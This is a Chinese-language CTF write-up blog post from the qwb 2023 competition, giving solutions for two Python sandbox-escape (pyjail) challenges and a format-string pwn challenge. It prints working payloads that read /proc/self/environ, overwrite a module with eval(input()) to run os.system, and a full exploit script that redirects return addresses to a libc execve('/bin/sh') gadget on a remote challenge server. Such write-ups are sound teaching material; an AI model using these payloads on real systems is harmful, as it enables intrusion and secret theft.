

## 前言

qwb2023 .12.15

被打废了，N1决赛和qwb,有一个pwn可以做的但是已经在做misc看都不看.....无语了。

## Pyjail ! It's myFILTER !!!|SOLVED|N1nEmAn

读环境变量获取flag

```
{print(open("/proc/self/environ").read())}
```

## pyjail的复仇

先输入下面这个，因为一开始有import code,导入相当于执行了。

```
{open("code.py", "w").write("eval(input())")}
```

那么接下来直接就可以任意执行了。

```
__import__("os").system("ls")
```

## ezfmt

第一次改printf的返回地址，然后改main返回地址到os.

```
1  from evilblade import *
2
3  context(os='linux', arch='amd64')
4  context(os='linux', arch='amd64', log_level='debug')
5
6  setup('./pwn')
7  libset('./libc-2.31.so')
8  #libset('./libc.so.6')
9  evgdb()
10 rsetup('47.104.24.40', 1337)
11
12 stack = getx(-15, -1)
13 stack1 = stack - 8
14 dx(stack1)
15
16 #修改printf的返回地址
17
18 sd(b'%4198556c'+b'%19$paaa'+b'aaa%9$n'+p64(stack1))
19
20 libc = getx(-65, -51)
21 base = getbase(libc, '__libc_start_main', 243)
22 os = base + 0xe3b01
23
24 os1 = os % 0x10000
25 os2 = os % 0x1000000
26 os2 = os2 >> 16
27 dx(stack)
28 dx(os)
29
30 pay1 = f'%{os2-4}c'.encode().ljust(8, b'a')
31 pay2 = f'%{os1-os2-3}c'.encode().ljust(8, b'a')
32 print(pay1)
```

```
33 pay = pay1 + b'a%11$hhn'+ pay2 +b'aa%10$hn' +p64(stack-232)+p64(stack-230)
34 print(len(pay))
35 pause()
36 sl(pay)
37 ia()
38 '''
39 0xe3afe execve("/bin/sh", r15, r12)
40 constraints:
41     [r15] == NULL || r15 == NULL
42     [r12] == NULL || r12 == NULL
43
44 0xe3b01 execve("/bin/sh", r15, rdx)
45 constraints:
46     [r15] == NULL || r15 == NULL
47     [rdx] == NULL || rdx == NULL
48
49 0xe3b04 execve("/bin/sh", rsi, rdx)
50 constraints:
51     [rsi] == NULL || rsi == NULL
52     [rdx] == NULL || rdx == NULL
53 '''
```

posted @ 2023-12-18 19:37 .N1nEmAn 阅读(94) 评论(0)